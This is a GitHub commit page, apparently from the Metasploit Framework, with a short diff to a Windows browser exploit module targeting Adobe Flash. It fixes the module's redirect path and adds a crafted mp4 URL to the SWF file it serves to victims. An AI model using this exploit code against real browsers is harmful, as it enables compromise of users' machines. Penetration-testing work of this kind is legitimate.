Skip to content

Commit 0d384d2

Browse files
committed
Land rapid7#1954 - Fix resource_uri and mp4 file path
2 parents d341b82 + 933ac88 commit 0d384d2

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/exploits/windows/browser/adobe_flash_sps.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -108,8 +108,8 @@ def on_request_uri(cli, request)
108108
end
109109

110110
# Redirect to a trailing slash so relative paths work properly
111-
if resource_uri != "/" and not request.uri.index("#{resource_uri}/")
112-
uri = resource_uri + "/"
111+
if get_resource != "/" and not request.uri.index("#{get_resource}/")
112+
uri = get_resource + "/"
113113
send_redirect(cli, uri)
114114
return
115115
end
@@ -147,7 +147,8 @@ def on_request_uri(cli, request)
147147
end
148148

149149
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
150-
swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
150+
mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
151+
swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"
151152

152153
html = %Q|
153154
<html>

0 commit comments

Comments
 (0)